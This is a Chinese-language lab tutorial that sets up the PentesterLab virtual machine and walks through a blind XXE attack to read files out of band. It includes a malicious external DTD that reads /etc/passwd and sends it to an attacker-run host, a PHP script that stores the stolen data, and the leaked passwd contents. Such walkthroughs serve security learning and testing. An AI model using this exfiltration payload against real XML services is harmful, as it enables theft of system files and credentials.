XXE漏洞4-XXE无回显文件读取-PentesterLab靶场搭建
一.PentesterLab靶场搭建(实验环境搭建)
介绍:PentesterLab 是一个全面的漏洞演示平台,但是它是收费的,我们这里只使用它的 xxe 演示案例。
安装 PentesterLab 虚拟机:下载好镜像:
1.打开VMware新建虚拟机,选择典型就行。
然后选择我们的镜像,下一步:
选择linux,和linux3.x不要选64位的。
下一步,然后自己调节文件保存位置:
磁盘空间默认就行:
点击自定义硬件:
我们去调一下内存,把内存调到一个g。
然后我们点击关闭再点击完成即可:
我们打开虚拟机:
输入ifconfig查看ip:192.168.112.18
我们打开浏览器,看到一下页面显示则靶场安装成功。
二.XXE无回显文件读取

我们需要建立一个外部的 dtd 文件,一个用于接收数据的 php 文件,以及存储数据的数据文件。
1、建立 dtd 外部实体文件:
# cd /var/www/html/
# vim test.dtd #插入以下内容
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.112.128/xxe.php?pass=%p1;'>">
%p2;
注:% p1 定义一个参数实体,%和 p1 之间有一个空格,用于接收 file:///etc/passwd 的内
容,%p1 引用参数实体,参数实体只能在 DTD 文件中被引用。
2、建立 php 文件
└─# vim xxe.php #插入以下内容
<?php
$pass=$_GET['pass'];
file_put_contents('pass.txt',$pass);
?>
3、创建存储数据的文件
└─# touch pass.txt
4、修改文件权限
└─# chown -R www-data:www-data /var/www/html/*
5、启动 apache2
└─# systemctl start apache2
6、测试 php 文件能够正常写入数据
└─# curl http://192.168.1.53/xxe.php?pass=1
└─# cat pass.txt
1
到这里基本工作就完成了。
下面我们进入靶场点击左上角login,利用bp进行抓包。
我们修改请求:
放包就行。
我们就成功带外出了etc/passwd的内容:
root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false